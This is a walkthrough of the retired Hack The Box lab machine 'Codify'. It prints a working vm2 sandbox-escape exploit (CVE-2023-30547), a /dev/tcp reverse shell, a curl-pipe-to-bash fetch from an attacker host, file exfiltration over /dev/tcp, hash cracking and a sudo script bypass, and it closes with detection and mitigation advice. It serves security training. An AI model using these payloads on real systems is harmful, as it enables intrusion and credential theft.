Codify
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Linux — codify.htb |
| Difficulty | Easy |
| Approx. time | ~35 min |
| Chain | vm2 CVE-2023-30547 (sandbox escape) → svc shell → SQLite with joshua’s hash → SSH → sudo Bash script (== pattern matching + pspy) → root |
flowchart TD A["Node.js web: code editor<br/>vm2 library"] -->|CVE-2023-30547| B["Sandbox escape → RCE"] B -->|reverse shell| C["Shell as svc"] C -->|/var/www/contacts/tickets.db| D["SQLite: joshua bcrypt hash"] D -->|hashcat -m 3200| E["joshua : spongebob1"] E -->|SSH| F["joshua (user.txt)"] F -->|sudo mysql-backup.sh| G["[[ == ]] unquoted → pattern matching"] G -->|password * + pspy| H["root's password in clear"] H -->|su root| I["root"]
- A Node.js web app runs JS in a vm2 sandbox vulnerable to CVE-2023-30547. We escape the sandbox, get RCE and a reverse shell as
svc. /var/www/contacts/tickets.dbholds a SQLite database withjoshua’s bcrypt hash. We crack it (spongebob1) and SSH in.joshuacan run a Bash script via sudo that compares passwords with[[ $DB_PASS == $USER_PASS ]]unquoted → pattern matching: passing*as the password makes theiftrue. With pspy we capture root’s real password (which the script passes tomysqldumpfrom/root/.creds).
1. Reconnaissance
Section titled “1. Reconnaissance”-
Port scan
What I do:
Ventana de terminal IP=<target_ip>ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)sudo nmap -sCV -p$ports $IP -oN nmap/targetedWhat I see: 22 (SSH), 80 (Apache) and 3000 (Node.js/Express).
What I think: with no SSH credentials, I start with the web. Port 80 redirects to
codify.htb; I add it to/etc/hosts. → Network service enumerationVentana de terminal echo "$IP codify.htb" | sudo tee -a /etc/hosts
2. Initial access: vm2 sandbox escape
Section titled “2. Initial access: vm2 sandbox escape”-
Identify vm2
What I see: the site is an editor that runs Node.js code in a sandbox. The “About”/“Limitations” page mentions the vm2 library and which modules are restricted.
What I think: vm2 creates isolated environments to run untrusted code. A specific version is a lead: I search for vm2 CVEs.
-
CVE-2023-30547: escape the sandbox
What I think: vm2 ≤ 3.9.16 has CVE-2023-30547: a host exception isn’t sanitized correctly in
handleException(), which allows escaping the sandbox and running code in the host context. The PoC throws an error with aProxywhosegetPrototypeOftriggers a controlled stack overflow and, on catching the exception, reachesconstructorto get toprocessandchild_process. → Code execution / command injectionWhat I do: I try the PoC with
idin the editor:const {VM} = require("vm2");const vm = new VM();const code = `err = {};const handler = {getPrototypeOf(target) {(function stack() { new Error().stack; stack(); })();}};const proxiedErr = new Proxy(err, handler);try { throw proxiedErr; }catch ({constructor: c}) {c.constructor('return process')().mainModule.require('child_process').execSync('id');}`;console.log(vm.run(code));What I see: the output shows the
svcuser’suid→ RCE confirmed. -
Reverse shell
What I do: I serve a script and download it from the payload.
Ventana de terminal echo -e '#!/bin/bash\nsh -i >& /dev/tcp/<LHOST>/4444 0>&1' > rev.shpython3 -m http.server 8081 # on my boxnc -lnvp 4444 # in another terminalIn the editor, I change
execSync('id')to:execSync('curl http://<LHOST>:8081/rev.sh|bash')What I see: a shell as
svc. I stabilize it:Ventana de terminal script /dev/null -c bash
3. Lateral movement: SQLite → joshua
Section titled “3. Lateral movement: SQLite → joshua”-
Look for other users and the database
What I do:
Ventana de terminal cat /etc/passwd | grep -E 'sh$' # → joshuals -la /var/www/contactsfile /var/www/contacts/tickets.db # SQLiteWhat I see: a
joshuauser exists and a SQLite databasetickets.dbsits in the web directory. -
Exfiltrate and read the database
What I do: if there’s no
scp, I use/dev/tcpto pull it.Ventana de terminal # on my box:nc -lnvp 2222 > tickets.db# on the target:cat tickets.db > /dev/tcp/<LHOST>/2222# back on my box:sqlite3 tickets.db "select * from users;"What I see: a bcrypt hash (
$2a$…) for thejoshuauser. -
Crack and SSH in
What I do:
Ventana de terminal hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt# joshua:spongebob1ssh joshua@$IPcat user.txtWhat I see:
$2a$means bcrypt (hashcat-m 3200). It cracks tospongebob1.user.txt→abcd…wxyz(redacted). → Credential hunting
4. Escalation to root: pattern matching + pspy
Section titled “4. Escalation to root: pattern matching + pspy”-
Check sudo and the script
What I do:
Ventana de terminal sudo -l # (root) NOPASSWD: /opt/scripts/mysql-backup.shcat /opt/scripts/mysql-backup.shWhat I see (key snippet):
Ventana de terminal DB_PASS=$(/usr/bin/cat /root/.creds)read -s -p "Enter MySQL password for $DB_USER: " USER_PASSif [[ $DB_PASS == $USER_PASS ]]; thenecho "Password confirmed!"elseexit 1fi...mysqldump --force -u root -p"$DB_PASS" "$db" | gzip > ...What I think: two flaws:
[[ $DB_PASS == $USER_PASS ]]with$USER_PASSunquoted → inside[[ ]],==does pattern matching, not a literal comparison. If I enter*as the password,*matches any string → theifis true without knowing the password.- The real password (
DB_PASS, read from/root/.creds) is passed tomysqldumpon the command line, visible in the process table. → Sudo abuse
-
Bypass + capture the password with pspy
What I do: I need two SSH sessions. In one, pspy; in the other, the script.
Ventana de terminal # session 1: watch processeswget http://<LHOST>:8082/pspy64s -O /tmp/pspy && chmod +x /tmp/pspy && /tmp/pspy# session 2: run the script and enter * as the passwordsudo /opt/scripts/mysql-backup.sh# Enter MySQL password: *What I see: the
ifpasses (Password confirmed!) and, in pspy, themysqldump -proot -p<REAL_PASSWORD>line appears → root’s password in clear.Why it works: the
*bypasses the check via pattern matching; the script continues and runsmysqldumpwith the real password (from/root/.creds) on the command line, which pspy captures. -
From the password to root
What I do:
Ventana de terminal su root # <captured password>cat /root/root.txtWhat I see: a shell as
root.root.txt→abcd…wxyz(redacted).
Progressive hints
Section titled “Progressive hints”The web runs Node.js in a sandbox. Which library, and which CVE affects it?
You’re svc and have no flag. Look for databases in the web directories.
The sudo script compares passwords with [[ == ]]. What happens if the variable isn’t quoted?
Bypass with * and watch the processes: how is the real password passed to mysqldump?
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
Looking for the flag in svc’s home |
No user.txt |
You had to pivot to joshua |
Reading /root/.creds directly |
Permission denied | Root only; the pass must be captured via pspy |
| Guessing the password after the bypass | Unnecessary | pspy reveals it in clear in the mysqldump line |
Methodology takeaways
Section titled “Methodology takeaways”- Code sandbox (vm2, pyodide…) → look up its escape CVE. The version is usually on the web app itself.
- First shell → look for databases (
.db,.sqlite) in the web directories. They often hold user hashes. /dev/tcp/IP/PORTis your plan B for uploading/downloading files when there’s nowget/curl/scp.[[ $a == $b ]]with the variable unquoted = pattern matching in Bash. A*breaks it. Recognize this bug in sudo scripts.- Passwords passed on the command line → pspy. Any secret in
argvis visible in the process table.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| vm2 sandbox escape | Anomalous Node service child processes (curl, bash); unexpected output |
Update vm2 > 3.9.17 (or migrate to isolated-vm); don’t run untrusted code |
| SQLite with hashes in the webroot | Access to .db via web or shell |
Don’t leave credential-bearing databases in web directories; strict permissions |
| Pattern matching in a sudo script | Bash code review; auditd on the script | Always quote ("$USER_PASS"); compare with = outside [[ ]] or with [ ] |
Password in mysqldump’s argv |
pspy on the attacker side; hard to detect | Pass credentials via an options file (--defaults-extra-file), not -p on the line |
References
Section titled “References”- CVE-2023-30547 — vm2 sandbox escape (NVD): https://nvd.nist.gov/vuln/detail/CVE-2023-30547
- GitHub Security Advisory — vm2 (GHSA-ch3r-j5x3-6q2m): https://github.com/patriksimek/vm2/security/advisories
- pspy — process snooping without root: https://github.com/DominicBreuker/pspy
- Bash — pattern matching in
[[ ]]: https://www.gnu.org/software/bash/manual/bash.html#Conditional-Constructs